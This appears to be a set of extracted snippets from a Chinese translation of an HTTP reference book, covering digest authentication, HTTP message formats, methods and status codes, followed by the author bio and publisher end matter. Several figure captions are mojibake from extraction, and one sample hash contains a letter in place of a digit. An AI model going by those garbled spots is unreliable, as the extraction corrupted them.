    {"text": "客户端 服务器 询问用户名和密码 digest(\"Ow!\")= A3F5 （c）授权 请将内部销售额预测发给我。 我的用 因特网 户名为“bri”，我的密码摘要为“A3F5” 客户端 服务器 digest(\"Ow!\")= A3F5 匹配！"},
    {"text": "表13-1 MD5摘要实例 输 入 MD5摘要 \"Hi\" C1A5298F939E87E8F962A5EDFC206918 \"bri:Ow!\" BEAAA0E34EBDB072F8627C038AB211F8 \"3.1415926535897\" 475B977E19ECEE70835BC6DF46F4F6DE \"http://www.http-guide.com/index.htm\" C617C0C7D1D05F66F595E22A4B0EAAA5 \"WE hold these Truths to be self-evident, that all Men 66C4EF58DA7CB956BD04233FBB64E0A4 are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the Pursuit of Happiness—That to secure these Rights, Governments are instituted among Men, deriving their just Powers from the Consent of the Governed, that whenever any Form of Government becomes destructive of these Ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its Foundation on such Principles, and organizing its Powers in such Form, as to them shall seem most likely to effect their Safety and Happiness.\" 注 6：韦氏词典，1998 年。"},
    {"text": "为防止此类重放攻击的发生，服务器可以向客户端发送一个称为随机数（nonce）9 的特殊令牌，这个数会经常发生变化（可能是每毫秒，或者是每次认证都变化）。"},
    {"text": "客 289 户端在计算摘要之前要先将这个随机数令牌附加到密码上去。 在密码中加入随机数就会使摘要随着随机数的每一次变化而变化。 记录下的密码摘 要只对特定的随机值有效，而没有密码的话，攻击者就无法计算出正确的摘要，这 样就可以防止重放攻击的发生。 摘要认证要求使用随机数，因为这个小小的重放弱点会使未随机化的摘要认证变得 和基本认证一样脆弱。"},
    {"text": "• 在第（1）步中，服务器会计算出一个随机数。 在第（2）步中，服务器将这个随 机数放在 WWW-Authenticate 质询报文中，与服务器所支持的算法列表一同发 往客户端。"},
    {"text": "如果客户端反过来用客户端随机数对服务器进行质询，就会创建 客户端摘要。 服务器可以预先将下一个随机数计算出来，提前将其传递给客户端， 这样下一次客户端就可以预先发送正确的摘要了。 客户端 服务器 （1）服务器产生随机数 （质询） WWW-Authenticate （2）服务器发送域、随机数和算法 （3）从算法集中选择 一个算法。 [产生响应 Authorization 摘要][产生客户端随机数] （响应） （4）客户端发送响应摘要 [发送算法][发送客户端随机数] （5）服务器对摘要进行认 证[产生rspauth摘要][产生 （信息） 下一个随机数] Authentication-Info （6）服务器发送下一个随机 rspauth摘要] （7）客户端验证 数[发送客户端 rspauth摘要 图 13-2 摘要认证的握手机制 这些信息中很多是可选的，而且有默认值。"},
    {"text": "为了说明问题，图 13-3 对比了基本认证中 发送的报文（参见图 13-3a 至图 13-3d）与简单的摘要认证实例发送的报文（参见图 13-3e 至图 13-3h）。"},
    {"text": "308 ｜ 第 13 章 基本认证 (a)查询 GET /cgi-bin/checkout?cart=17854 HTTP/1.1 客户端 服务器 (b)质询 HTTP/1.1 401 Unauthorized 客户端 WWW-Authenticate: Basic realm=\"Shopping Cart\" 服务器 Shopping Cart Username: Password: (c)响应 GET /cgi-bin/checkout?cart=17854 HTTP/1.1 客户端 Authorization: Basic YnJpYW4tdG90dHk6T3ch 服务器 (d)成功 HTTP/1.1 200 OK 客户端 ... 服务器 摘要认证 (e)查询 GET /cgi-bin/checkout?cart=17854 HTTP/1.1 客户端 服务器 (f)质询 HTTP/1.1 401 Unauthorized 客户端 WWW-Authenticate: Digest 服务器 realm=\"Shopping Cart\" Shopping Cart qop=\"auth,auth-int\" Username: nonce=\"66C4EF58DA7CB956BD04233FBB64E0A4\" Password: (g)响应 GET /cgi-bin/checkout?cart=17854 HTTP/1.1 客户端 Authorization: Digest 服务器 username=\"bri\" realm=\"Shopping Cart\" nonce=\"66C4EF58DA7CB956BD04233FBB64E0A4\" uri=\"/cgi-bin/checkout?cart=17854\" qop=\"auth\" nc=0000001, cnonce=\"CFA9207102EA210EA210FFC1120F6001110D073\" response=\"E483C94FOB3CA29109A7BA83D10FE519\" (h)成功 HTTP/1.1 200 OK Authorization-Info: nextnonce= 服务器 \"29FE72D109C7EF23841AB914F0C3B831\" qop= ÒauthÓ rspauth=\"89F5A4CE6FA932F6C4DA120CEB754290\" cnonce=\"CFA9207102EA210EA210FFC1120F6001110D073\" ... 图 13-3 基本认证与摘要认证的语法对比 摘要认证 ｜ 309 • 一个包含了安全信息的数据块，包括密码，称为 A1。"},
    {"text": "例如： H(<data>) = MD5(<data>) KD(<secret>,<data>) = H(concatenate(<secret>:<data>)) 13.2.3 与安全性相关的数据（A1） 被称为 A1 的数据块是密码和受保护信息的产物，它包含有用户名、密码、保护域 和随机数等内容。"},
    {"text": "表13-2 算法对A1的定义 算法 A1 MD5 A1 = <user>:<realm>:<password> MD5-sess A1 = MD5(<user>:<realm>:<password>):<nonce>:<cnonce> 13.2.4 与报文有关的数据（A2） 数据块 A2 表示的是与报文自身有关的信息，比如 URL、请求方法和报文实体的主 310 ｜ 第 13 章 体部分。"},
    {"text": "表13-3 算法对A2的定义（请求摘要） qop A2 未定义 <request-method>:<uri-directive-value> auth <request-method>:<uri-directive-value> auth-int <request-method>:<uri-directive-value>:H(<request-entity-body>) request-method 是 HTTP 的请求方法。"},
    {"text": "表13-4 新/老摘要算法 qop 摘要算法 备 注 未定义 KD(H(A1), <nonce>:H(A2)) 不推荐 auth 或 auth-int KD(H(A1), <nonce>:<nc>:<cnonce>:<qop>:H(A2)) 推荐 摘要认证 ｜ 311 这些派生封装层很容易把人弄晕。"},
    {"text": "表13-5 展开的摘要算法备忘单 qop 算 法 展开的算法 未定义 <undefined> MD5(MD5(A1):<nonce>:MD5(A2)) 294 MD5 MD5-sess auth <undefined> MD5(MD5(A1):<nonce>:<nc>:<cnonce>:<qop>:MD5(A2)) MD5 MD5-sess auth-int <undefined> MD5(MD5(A1):<nonce>:<nc>:<cnonce>:<qop>:MD5(A2)) MD5 MD5-sess 13.2.6 摘要认证会话 客户端响应对保护空间的 WWW-Authenticate 质询时，会启动一个此保护空间的认 证会话（与受访问服务器的标准根结合在一起的域就定义了一个“保护空间”）。"},
    {"text": "客户端应该记住用户名、密码、随机数、随机数 计 数 以 及 一 些 与 认 证 会 话 有 关 的 隐 晦 值， 以 便 将 来 在 此 保 护 空 间 中 构 建 请 求 的 Authorization 首部时使用。"},
    {"text": "如果客户端事先知道下一个随机数是什么，就可以取消这个请求 / 质询循环，这样 客户端就可以在服务器发出请求之前，生成正确的 Authorization 首部了。 如果 客户端能在服务器要求它计算 Authorization 首部之前将其计算出来，就可以预 先将 Authorization 首部发送给服务器，而不用进行请求 / 质询了。"},
    {"text": "312 ｜ 第 13 章 （a）普通的请求/质询 （b）预授权 客户端 服务器 客户端 服务器 请求 请求 质询 质询 请求+授权 请求+授权 成功 成功+随机数信息 请求 请求+授权 质询 成功+随机数信息 请求+授权 请求+授权 成功 成功 请求 质询 请求+授权 成功 图 13-4 预授权减少了报文的数量 预授权对基本认证来说并不重要（而且很常见）。"},
    {"text": "这里列出了三 种可选的方式，通过这些方式，客户端无需等待新的 WWW-Authenticate 质询，就 可以获得正确的随机数： • 服务器预先在 Authentication-Info 成功首部中发送下一个随机数；"},
    {"text": "尽管这种预授权机制避免了请求 / 质询循环（加快了事务处理的速度），但实际上它 也破坏了对同一台服务器的多条请求进行管道化的功能，因为在发布下一条请求之 前，一定要收到下一个随机值才行。"},
    {"text": "随机数过期时，服务器要向客户 端发送 401 Unauthorized 质询，并设置 WWW-Authenticate:stale=true 指令： WWW-Authenticate: Digest realm=\"<realm-value>\" nonce=\"<nonce-value>\" stale=true 重用随机数使得攻击者更容易成功地实行重放攻击。"},
    {"text": "3. 同步生成随机数 还可以采用时间同步的随机数生成算法，客户端和服务器可根据共享的密钥，生成 第三方无法轻易预测的、相同的随机数序列（比如安全 ID 卡）。"},
    {"text": "RFC 2617 建议采用这个假想的随机数公式： BASE64(time-stamp H(time-stamp \":\" ETag \":\" private-key)) 其中 time-stamp 是服务器产生的时间或其他不会重复的值，ETag 是与所请求实 体有关的 HTTP ETag 首部的值，private-key 是只有服务器知道的数据。"},
    {"text": "有了这种形式的随机数，服务器就可以在收到客户端的认证首部之后重新计算散列 部分，如果结果与那个首部的随机数不符，或者时间戳的值不够新，就拒绝请求。"},
    {"text": "为了与原有 RFC 2069 标准后向兼容，它 是可选的，但由于它提供了一些重要的安全提升机制，强烈推荐现今所有的客户端 和服务器都要实现全部 RFC 2617 特性。"},
    {"text": "298 摘要认证 ｜ 315 表13-6 算法中A2的定义（请求摘要） qop A2 未定义 <request-method>:<uri-directive-value> auth <request-method>:<uri-directive-value> auth-int <request-method>:<uri-directive-value>:H(<request-entity-body>) 表13-7 算法中A2的定义（响应摘要） qop A2 未定义 :<uri-directive-value> auth :<uri-directive-value> auth-int :<uri-directive-value>:H(<response-entity-body>) cnonce 值 和 nc 值 必 须 是 本 报 文 所 响 应 的 客 户 端 请 求 中 的 相 应 值。"},
    {"text": "13.3.1 报文完整性保护 如果使用了完整性保护（qop=\"auth-int\"），H（实体的主体部分）就是对实体主 体部分，而不是报文主体部分的散列。"},
    {"text": "316 ｜ 第 13 章 13.3.2 摘要认证首部 基 本 认 证 和 摘 要 认 证 协 议 都 包 含 了 WWW-Authenticate 首 部 承 载 的 授 权 质 询、 Authorization 首部承载的授权响应。 摘要认证还添加了可选的 Authorization- Info 首部，这个首部是在成功认证之后发送的，用于实现三步握手机制，并传送下 一个随机数。"},
    {"text": "Brian Totty 最近出任了 Inktomi 公司（这是 1996 年他参与建立的一家公司）研发部 副总裁，在公司中他负责 Web 缓存、流媒体及因特网搜索技术的研发工作。"},
    {"text": "Brian 在伊利诺伊大学 Urbana-Champaign 分校获得了计算机科学的博士学位，在 MIT 获得了计算机科学及电子工程的学士学位，以及计算机系统研究的 Organick 奖。"},
    {"text": "692 ｜ 关于作者 尾页 本书的封面设计得益于多方的参与，来自于读者意见、我们自己的揣摩以及各种发 行渠道的反馈，共同的努力使它变得与众不同，既体现出我们诠释技术话题的独特 手法，也使得有些原本枯燥的话题变得有趣。"},
    {"text": "封面上的动物叫多纹黄鼠（thirteen-lined ground squirrel，Spermophilus tridecemlineatus）， 在北美洲中部很常见。 鼠如其名，沿着多纹黄鼠的背部有十三条条纹，上面有一行 行的浅色斑点。"},
    {"text": "它们喜欢在长有短草且排水良好的砂质开阔地或肥沃的土壤上打 洞，它们不喜欢树木繁茂的地区——修剪过的草坪、高尔夫球场和公园是它们常见 的栖息地。"},
    {"text": "但它们同样也 是几种捕食者的重要猎物，包括獾、草原狼、鹰、黄鼠狼和各种蛇，而且它们以很 多有害的杂草、杂草种子及昆虫为食，会让人类直接受益。"},
    {"text": "本 书 的 在 线 版 本 是 Safari 产 品 组（John Chodacki、Becki Maisch 和 Madeleine Newell）用 Erik Ray、Benn Salter、John Chodacki 和 Jeff Liggett 编写并维护的一组 Frame-to-XML 转换及清理工具创建的。"},
    {"text": "694 ｜ 尾页 欢迎加⼊入 图灵社区 电⼦子书发售平台 电⼦子出版的时代已经来临，在许多出版界同⾏行还在犹豫彷徨的时候，图灵社区已经 采取实际⾏行动拥抱这个出版业巨变。"},
    {"text": "相⽐比纸质书，电⼦子书具有许多明显的优势。 它 不仅发布快，更新容易，⽽而且尽可能采⽤用了彩⾊色图⽚片（即使有的书纸质版是⿊黑⽩白印 刷的）。"},
    {"text": "图灵社区进⼀一步把传统出版流程与电⼦子出版业务紧密结合，⺫⽬目前已实现作译者⺴⽹网上 交稿、编辑⺴⽹网上审稿、按章发布的电⼦子出版模式。"},
    {"text": "这种新的出版模式，我们称之为 “敏捷出版”，它可以让读者以较快的速度了解到国外最新技术图书的内容，弥补 以往翻译版技术书“出版即过时”的缺憾。 同时，敏捷出版使得作、译、编、读的 交流更为⽅方便，可以提前消灭书稿中的错误，最⼤大程度地保证图书出版的质量。"},
    {"text": "读者交流平台 在图灵社区，读者可以⼗十分⽅方便地写作⽂文章、提交勘误、发表评论，以各种⽅方式与 作译者、编辑⼈人员和其他读者进⾏行交流互动。"},
    {"text": "原因短语只对人类有意义，因 此，比如说，尽管响应行 HTTP/1.0 200 NOT OK 和 HTTP/1.0 200 OK 中原因短 语的含义不同，但同样都会被当作成功指示处理。"},
    {"text": "HTTP报文 ｜ 49 • 首部（header） 可以有零个或多个首部，每个首部都包含一个名字，后面跟着一个冒号（:），然 后是一个可选的空格，接着是一个值，最后是一个 CRLF。"},
    {"text": "（a）请求报文 （b）响应报文 GET /test/hi-there.txt HTTP/1.1 起始行 HTTP/1.0 200 OK Accept: text/* Content-type: text/plain Host: www.joes-hardware.com 首部 Content-length: 19 主体 Hi! I’m a message! 图 3-5 请求和响应报文示例 注意，一组 HTTP 首部总是应该以一个空行（仅有 CRLF）结束，甚至即使没有首 部和实体的主体部分也应如此。"},
    {"text": "1. 请求行 请求报文请求服务器对资源进行一些操作。 请求报文的起始行，或称为请求行，包 含了一个方法和一个请求 URL，这个方法描述了服务器应该执行的操作，请求 URL 描述了要对哪个资源执行这个方法。 请求行中还包含 HTTP 的版本，用来告知服务 器，客户端使用的是哪种 HTTP。"},
    {"text": "比如，GET 方法负责从服务器获取一个 文档，POST 方法会向服务器发送需要处理的数据，OPTIONS 方法用于确定 Web 服务器的一般功能，或者 Web 服务器处理特定资源的能力。"},
    {"text": "表3-1 常用的HTTP方法 方 法 描 述 是否包含主体 GET 从服务器获取一份文档 否 HEAD 只从服务器获取文档的首部 否 POST 向服务器发送需要处理的数据 是 PUT 将请求的主体部分存储在服务器上 是 TRACE 对可能经过代理服务器传送到服务器上去的报文进行追踪 否 OPTIONS 决定可以在服务器上执行哪些方法 否 DELETE 从服务器上删除一份文档 否 48 并不是所有服务器都实现了表 3-1 列出的所有 7 种方法。"},
    {"text": "而且，由于 HTTP 设计得 易于扩展，所以除了这些方法之外，其他服务器可能还会实现一些自己的请求方法。 这些附加的方法是对 HTTP 规范的扩展，因此被称为扩展方法。"},
    {"text": "表3-2 状态码分类 整体范围 已定义范围 分 类 100 ～ 199 100 ～ 101 信息提示 200 ～ 299 200 ～ 206 成功 300 ～ 399 300 ～ 305 重定向 400 ～ 499 400 ～ 415 客户端错误 500 ～ 599 500 ～ 505 服务器错误 当前的 HTTP 版本只为每类状态定义了几个代码。"},
    {"text": "比如，如果收到了状态码 515（在表 3-2 所列 5 XX 代码的已定义范围之外），就应该 49 认为这条响应指出了服务器的错误，这是 5 XX 报文的通用类别。"},
    {"text": "请求的所有数据都在响应主体中 401 Unauthorized（未授权） 需要输入用户名和密码 404 Not Found（未找到） 服务器无法找到所请求 URL 对应的资源 52 ｜ 第 3 章 5. 原因短语 原因短语是响应起始行中的最后一个组件。"},
    {"text": "为 HTTP 应用程序 提供了一种将自己所遵循的协议版本告知对方的方式。 使用版本号的目的是为使用 HTTP 的应用程序提供一种线索，以便互相了解对方的 能力和报文格式。"},
    {"text": "在与使用 HTTP 1.1 的应用程序进行通信的 HTTP 1.2 应用程序应 该知道，它不能使用任何新的 1.2 特性，因为使用老版本协议的应用程序很可能无 法实现这些特性。"},
    {"text": "但 HTTP/1.0 应用程序在解释包含 HTTP/1.1 的响应时，会认为这个响应是个 1.1 响应，而实际上这只是响应应用程序 所使用的协议等级，在这些情况下，版本号会在应用程序之间造成误解 2。"},
    {"text": "比如，下面的首部行会向 Content-Length 首部字段赋值 19： Content-length：19 注 2： http://httpd.apache.org/docs-2.0/misc/known_client_problems.html 上有更多在 Apache 与客户端之间出现 此问题的案例。"},
    {"text": "表3-4 常见的首部实例 首部实例 描 述 Date:Tue,3Oct 1997 02:16:03 GMT 服务器产生响应的日期 Content-length:15040 实体的主体部分包含了 15 040 字节的数据 Content-type:image/gif 实体的主体部分是一个 GIF 图片 Accept: image/gif, image/jpeg, text/html 客户端可以接收 GIF 图片和 JPEG 图片以及 HTML 2. 首部延续行 将长的首部行分为多行可以提高可读性，多出来的每行前面至少要有一个空格或制 51 表符（tab）。"},
    {"text": "例如： HTTP/1.0 200 OK Content-Type: image/gif Content-Length: 8572 54 ｜ 第 3 章 Server: Test Server Version 1.0 在这个例子中，响应报文里包含了一个 Server 首部，其值被划分成了多个延续行。"},
    {"text": "GET /specials/saw-blade.gif 没有版本号 客户端 www.joes-hardware.com 客户端 www.joes-hardware.com 图 3-6 HTTP/0.9 事务 HTTP/0.9 报文也由请求和响应组成，但请求中只包含方法和请求 URL，响应中只 包含实体。"},
    {"text": "在 Joe 的五金商店的例子中，你的 Web 浏览器可能会弹出 一条警告消息，说明你正在用不安全的方法发起请求，这样可能会在服务器上引发 一些事件（比如用你的信用卡支付费用）。"},
    {"text": "56 ｜ 第 3 章 请求报文 GET /seasonal/index-fall.html HTTP/1.1 Host: www.joes-hardware.com Accept: * 响应报文 HTTP/1.1 200 OK Content-Type: text/html Context-Length: 617 客户端 www.joes-hardware.com <HTML> <HEAD><TITLE>JoeÕs Special Offers </TITLE> ... 图 3-7 GET 示例 3.3.3 HEAD HEAD 方法与 GET 方法的行为很类似，但服务器在响应中只返回首部。"},
    {"text": "请求报文 HEAD /seasonal/index-fall.html HTTP/1.1 Host: www.joes-hardware.com Accept: * 响应报文 HTTP/1.1 200 OK Content-Type: text/html 客户端 Context-Length: 617 www.joes-hardware.com 没有实体的主体部分 图 3-8 HEAD 示例 3.3.4 PUT 与 GET 从服务器读取文档相反，PUT 方法会向服务器写入文档。"},
    {"text": "54 HTTP报文 ｜ 57 请求报文 PUT /product-list.txt HTTP/1.1 Host: www.joes-hardware.com Content-type: text/plain Content-length: 34 Updated product list coming soon! Joe 响应报文 www.joes-hardware.com 服务器更新/创建 资源/product-list. HTTP/1.1 201 Created Location: http://www.joes-hardware.com/product-list.txt txt，并将其写入 Content-Type: text/plain 自己的磁盘 Context-Length: 47 http://www.joes-hardware.com/product-list.txt 图 3-9 PUT 示例 PUT 方法的语义就是让服务器用请求的主体部分来创建一个由所请求的 URL 命名 的新文档，或者，如果那个 URL 已经存在的话，就用这个主体来替代它。"},
    {"text": "表单中填好的数据通常会被送给服务器，然后由服务器将其发送到它要去 的地方（比如，送到一个服务器网关程序中，然后由这个程序对其进行处理）。"},
    {"text": "TRACE 方法允许客户端在 最终将请求发送给服务器时，看看它变成了什么样子。 TRACE 请求会在目的服务器端发起一个“环回”诊断。 行程最后一站的服务器会 弹回一条 TRACE 响应，并在响应主体中携带它收到的原始请求报文。"},
    {"text": "58 ｜ 第 3 章 ៓બഗॽຕ਍֭෇ Ԓ࿔ํ༹ڦዷ༹ዐ ൩൱Ԓ࿔ POST /inventory-check.cgi HTTP/1.1 Host: www.joes-hardware.com Content-type: text/plain Content-length: 18 item=bandsaw 2647 ၚᆌԒ࿔ YES! ਜ਼ࢽ܋ www.joes-hardware.com HTTP/1.1 200 OK Content-type: text/plain Context-length: 37 “item= bandsaw 2647” The bandsaw model 2647 is in stock! CGIײႾ ੰ٪ॠֱ ੰ٪ ൣڇ 图 3-10 POST 示例 请求报文 TRACE /product-list.txt HTTP/1.1 TRACE /product-list.txt HTTP/1.1 Host: www.joes-hardware.com Accept: * Accept: * Host: www.joes-hardware.com Via: 1.1 proxy3.company.com 客户端 代理 www.joes-hardware.com 响应报文 HTTP/1.1 200 OK HTTP/1.1 200 OK Content-type: text/plain Content-type: text/plain Content-length: 96 Content-length: 96 Via: 1.1 proxy3.company.com TRACE /product-list.txt HTTP/1.1 TRACE /product-list.txt HTTP/1.1 Host: www.joes-hardware.com Host: www.joes-hardware.com Accept: * Accept: * Via: 1.1 proxy3.company.com Via: 1.1 proxy3.company.com 通过对实体部分检查，客户端可以看出这条请求被升级成了协议版本1.1。"},
    {"text": "尽管 TRACE 可以很方便地用于诊断，但它确实也有缺点，它假定中间应用程序对 各 种 不 同 类 型 请 求（ 不 同 的 方 法 ——GET、HEAD、POST 等）的处理是相同的。"},
    {"text": "很多 HTTP 应用程序会根据方法的不同做出不同的事情——比如，代理可能会将 POST 请求直接发送给服务器，而将 GET 请求发送给另一个 HTTP 应用程序（比如 Web 缓存）。"},
    {"text": "请求报文 OPTIONS * HTTP/1.1 Host: www.joes-hardware.com Accept: * 由于请求的是可为所有资 源使用的选项，所以服务 器仅返回了它所支持的可 通用于各种资源的方法。 响应报文 客户端 HTTP/1.1 200 OK www.joes-hardware.com Allow: GET, POST, PUT, OPTIONS Context-length: 0 57 图 3-12 OPTIONS 示例 3.3.8 DELETE 顾名思义，DELETE 方法所做的事情就是请服务器删除请求 URL 所指定的资源。"},
    {"text": "60 ｜ 第 3 章 请求报文 DELETE /product-list.txt HTTP/1.1 Host: www.joes-hardware.com 响应报文 客户端 www.joes-hardware.com HTTP/1.1 200 OK 从服务器磁 Content-Type: text/plain 盘中删除文件 Content-Length: 54 product-list.txt I have your delete request, 客户端认为资 will take time to process. 源已经被删除了 图 3-13 DELETE 示例 3.3.9 扩展方法 HTTP 被设计成字段可扩展的，这样新的特性就不会使老的软件失效了。"},
    {"text": "表3-5 Web发布扩展方法示例 方 法 描 述 LOCK 允许用户“锁定”资源——比如，可以在编辑某个资源的时候将其锁定， 以防别人同时对其进行修改 MKCOL 允许用户创建资源 COPY 便于在服务器上复制资源 MOVE 在服务器上移动资源 并不是所有的扩展方法都是在正式规范中定义的，认识到这一点很重要。"},
    {"text": "如果你定 义了一个扩展方法，很可能大部分 HTTP 应用程序都无法理解。 同样，你的 HTTP 应用程序也可能会遇到一些其他应用程序在用的，而它并不理解的扩展方法。"},
    {"text": "更多信息请参见附 录 C 中的 Expect 首部介绍 101 Switching Protocols 说明服务器正在根据客户端的指定，将协议切换成 Update 首部 所列的协议 100 Continue 状态码尤其让人糊涂。"},
    {"text": "它的目的是对这样的情况进行优化：HTTP 客 户端应用程序有一个实体的主体部分要发送给服务器，但希望在发送之前查看一下 服务器是否会接受这个实体。"},
    {"text": "1. 客户端与100 Continue 如果客户端在向服务器发送一个实体，并且愿意在发送实体之前等待 100 Continue 响应，那么，客户端就要发送一个携带了值为 100 Continue 的 Expect 请求首部 （参见附录 C）。 如果客户端没有发送实体，就不应该发送 100 Continue Expect 首 59 部，因为这样会使服务器误以为客户端要发送一个实体。"},
    {"text": "由于起初对 100 Continue 状态存在一些困惑（而且以前有些实现在这里出过问题）， 因此发送了值为 100 Continue 的 Expect 首部的客户端不应该永远在那儿等待服务 器发送 100 Continue 响应。"},
    {"text": "如果出于某种原因，服务器在有机会发送 100 Continue 响应之前就收到了部分（或 全部）的实体，就说明客户端已经决定继续发送数据了，这样，服务器就不需要 发送这个状态码了。 但服务器读完请求之后，还是应该为请求发送一个最终状态码 （它可以跳过 100 Continue 状态）。 最后，如果服务器收到了带有 100 Continue 期望的请求，而且它决定在读取实体的 主体部分之前（比如，因为出错而）结束请求，就不应该仅仅是发送一条响应并关 闭连接，因为这样会妨碍客户端接收响应（参见 4.7.4 节）。 3. 代理与100 Continue 如 果 代 理 从 客 户 端 收 到 了 一 条 带 有 100 Continue 期 望 的 请 求， 它 需 要 做 几 件 事 情。"},
    {"text": "如果代理知道下一跳服务器（在第 6 章中讨论）是 HTTP/1.1 兼容的，或者并 不知道下一跳服务器与哪个版本兼容，它都应该将 Expect 首部放在请求中向下 转发。 如果它知道下一跳服务器只能与 HTTP/1.1 之前的版本兼容，就应该以 417 Expectation Failed 错误进行响应。 4 如果代理决定代表与 HTTP/1.0 或之前版本兼容的客户端，在其请求中放入 Expect 首部和 100 Continue 值，那么，（如果它从服务器收到了 100 Continue 响应）它就 不应该将 100 Continue 响应转发给客户端，因为客户端可能不知道该拿它怎么办。 代理维护一些有关下一跳服务器及其所支持的 HTTP 版本的状态信息（至少要维护 那些最近收到过请求的服务器的相关状态）是有好处的，这样它们就可以更好地处 理收到的那些带有 100 Continue 期望的请求了。"},
    {"text": "60 3.4.2 200～299——成功状态码 客户端发起请求时，这些请求通常都是成功的。 服务器有一组用来表示成功的状态 码，分别对应于不同类型的请求。"},
    {"text": "（译者注） HTTP报文 ｜ 63 表3-7 成功状态码和原因短语 状态码 原因短语 含 义 200 OK 请求没问题，实体的主体部分包含了所请求的资源 201 Created 用于创建服务器对象的请求（比如，PUT）。"},
    {"text": "服务器应该在实体的主体部分包含对请求状态的描述，或许还应该有 对请求完成时间的估计（或者包含一个指针，指向可以获取此信息的 位置） 203 Non-Authoritative 实体首部（更多有关实体首部的信息参见 3.5.4 节）包含的信息不是 Information 来自于源端服务器，而是来自资源的一份副本。"},
    {"text": "如果实体首部来自源端服务器，响应 为 200 状态的应用程序就可以将其作为一种可选项使用 204 No Content 响应报文中包含若干首部和一个状态行，但没有实体的主体部分。"},
    {"text": "206 响应中必须包含 Content-Range、Date 以及 ETag 或 Content- Location 首部 3.4.3 300～399——重定向状态码 重定向状态码要么告知客户端使用替代位置来访问他们所感兴趣的资源，要么就提 供一个替代的响应而不是资源的内容。 如果资源已被移动，可发送一个重定向状态 61 码和一个可选的 Location 首部来告知客户端资源已被移走，以及现在可以在哪里 找到它（参见图 3-14）。"},
    {"text": "64 ｜ 第 3 章 ൩൱Ԓ࿔ GET /pet-products.txt HTTP/1.1 Host: www.joes-hardware.com Accept: * ၚᆌԒ࿔ ਜ਼ࢽ܋ www.joes-hardware.com HTTP/1.1 301 Moved Permanently Location: http://www.gentle-grooming.com/ Content-length: 56 Content-type: text/plain Please go to our partner site, www.gentle-grooming.com ൩൱Ԓ࿔ GET / HTTP/1.1 Host: www.gentle-grooming.com Accept: * ၚᆌԒ࿔ ਜ਼ࢽ܋ HTTP/1.1 200 OK www.gentle-grooming.com Content-type: text/html Content-length: 3307 ... 图 3-14 将请求重定向到新的位置 可以通过某些重定向状态码对资源的应用程序本地副本与源端服务器上的资源进行 验证。"},
    {"text": "62 HTTP报文 ｜ 65 客户端上有以前请求过的http://www.joes-hardware. com/seasonal/index-fall.html的副本 请求报文 GET /seasonal/index-fall.html HTTP/1.1 客户端 Host: www.joes-hardware.com Accept: * 未被修改过 If-Modified-Since: Fri, Oct 3 1997 02:16:00 GMT 响应报文 HTTP/1.1 304 Not Modified www.joes-hardware.com ... 客户端 从最后一次请求此文档以来，原始文档未 被修改过，所以浏览器显示的是本地副本。"},
    {"text": "图 3-15 重定向为使用本地副本的请求 总之，在对那些包含了重定向状态码的非 HEAD 请求进行响应时，最好要包含一 个实体，并在实体中包含描述信息和指向（多个）重定向 URL 的链接——参见图 3-14 的第一个响应报文。"},
    {"text": "表3-8 重定向状态码与原因短语 状态码 原因短语 含 义 300 Multiple Choices 客户端请求一个实际指向多个资源的 URL 时会返回这个状态码，比 如服务器上有某个 HTML 文档的英语和法语版本。"},
    {"text": "很重要的一点是，客户端是相对某个特定资源来解析这 条响应的，不能假定所有请求，甚至所有对持有所请求资源的服务器 的请求都通过这个代理进行。"},
    {"text": "如果客户端错误地让代理介入了某条请 求，可能会引发破坏性的行为，而且会造成安全漏洞 306 （未使用） 当前未使用 307 Temporary Redirect 与 301 状态码类似；"},
    {"text": "当 HTTP/1.0 客户端发起一个 POST 请求，并在响应中收到 302 重定向状态码时， 它会接受 Location 首部的重定向 URL，并向那个 URL 发起一个 GET 请求（而不 会像原始请求中那样发起 POST 请求）。 HTTP/1.0 服务器希望 HTTP/1.0 客户端这么做——如果 HTTP/1.0 服务器收到来自 HTTP/1.0 客户端的 POST 请求之后发送了 302 状态码，服务器就期望客户端能够接 受重定向 URL，并向重定向的 URL 发送一个 GET 请求。"},
    {"text": "HTTP/1.1 规范使用 303 状态码来实现同样的行为（服务器发 送 303 状态码来重定向客户端的 POST 请求，在它后面跟上一个 GET 请求）。 为了避开这个问题，HTTP/1.1 规范指出，对于 HTTP/1.1 客户端，用 307 状态码取 代 302 状态码来进行临时重定向。 这样服务器就可以将 302 状态码保留起来，为 HTTP/1.0 客户端使用了。"},
    {"text": "3.4.4 400～499——客户端错误状态码 有时客户端会发送一些服务器无法处理的东西，比如格式错误的请求报文，或者最 常见的是，请求一个不存在的 URL。 浏览网页时，我们都看到过臭名昭著的 404 Not Found 错误码——这只是服务器在 告诉我们，它对我们请求的资源一无所知。"},
    {"text": "表3-9 客户端错误状态码及原因短语 状态码 原因短语 含 义 400 Bad Request 用于告知客户端它发送了一个错误的请求 401 Unauthorized 与适当的首部一同返回，在这些首部中请求客户端在获取对资源 的 访 问 权 之 前， 对 自 己 进 行 认 证。"},
    {"text": "更 多 有 关 认 证 的 内 容 请 参 见 12.1 节 402 Payment Required 现在这个状态码还未使用，但已经被保留，以作未来之用 403 Forbidden 用于说明请求被服务器拒绝了。"},
    {"text": "但这个状态码通 常是在服务器不想说明拒绝原因的时候使用的 404 Not Found 用于说明服务器无法找到所请求的 URL。 通常会包含一个实体，以 便客户端应用程序显示给用户看 405 Method Not Allowed 发起的请求中带有所请求的 URL 不支持的方法时，使用此状态码。"},
    {"text": "更多信息请参见第 17 章 407 Proxy Authentication 与 401 状态码类似，但用于要求对资源进行认证的代理服务器 Required 408 Request Timeout 如果客户端完成请求所花的时间太长，服务器可以回送此状态码， 并关闭连接。"},
    {"text": "主要用于 Web 站点 的维护，这样服务器的管理者就可以在资源被移除的情况下通知客 户端了 65 411 Length Required 服务器要求在请求报文中包含 Content-Length 首部时使用。 更 多有关 Content-Length 首部的信息请参见 3.5.4 节 412 Precondition Failed 客户端发起了条件请求，且其中一个条件失败了的时候使用。"},
